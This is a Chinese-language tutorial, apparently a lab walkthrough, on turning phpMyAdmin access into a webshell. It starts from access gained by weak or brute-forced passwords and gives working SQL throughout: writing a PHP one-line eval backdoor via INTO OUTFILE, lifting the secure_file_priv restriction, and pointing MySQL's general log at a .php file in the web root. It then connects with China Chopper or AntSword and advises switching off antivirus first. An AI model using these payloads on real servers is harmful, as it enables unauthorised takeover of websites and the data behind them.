phpmyadmin mysql getshell
在通过对目标进行信息收集探测后,当发现存有phpmyadmin目录时,进而通过弱口令或者暴力破解进入数据库之后,有多种方法进行getshell
注:大多数集成包里自带,如:phpstudy,wampserver,xampp等
实验环境:
Windows(攻机)
Windows(靶机)phpstudy集成环境
查看日志路径,可以在变量里搜log查看
也可以用命令语句查看
show variables like '%general%';
into outfile
最常用的是一句话木马的写入
select '<?php eval($_POST[cmd]); ?>' into outfile 'D:/phpStudy/www/xxx.php';
当然,前提是你得知道网站的绝对路径,方法也有很多,比如通过报错获取路径,通过phpinfo.php等等
但在新版的mysql中,这句话并没有运行成功,会显示错误错误。
mysql新特性secure_file_priv会对读写文件产生影响,该参数用来限制导入导出
可以查看该参数
show global variables like '%secure%';
如果表格中的secure_file_priv显示NULL,则为空,表示限制musql不允许导入导出,所以爆出错误,要想是该语句导出成功,则需要在mysql文件夹下修改my.ini 文件,
在[mysqld]内加入secure_file_priv ="" 即可
需要重启mysql,或者重启phpstudy,就会如这样
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
此时就可以执行导出命令
利用日志文件
mysql 5.0版本以上会创建日志文件,修改日志的全局变量,也可以getshell。但是也要对生成的日志有可读可写的权限。
查看日志状态
show variables like '%general%';
当开启general时,所执行的sql语句都会出现在data文件夹下的文件中。
进而getshell
开启日志
SET GLOBAL general_log='on'
设置日志的路径
SET GLOBAL general_log_file='C:/phpStudy/www/xxx.php'
路径注意反斜杠
这是就会生成一个php文件
将一句话木马写入这个php文件(写入一句话之前一定要关闭防火墙和杀毒软件)
SELECT '<?php eval($_POST["cmd"]);?>'
用中国菜刀或者蚁剑连接,getshell
我菜刀连不上,用的蚁剑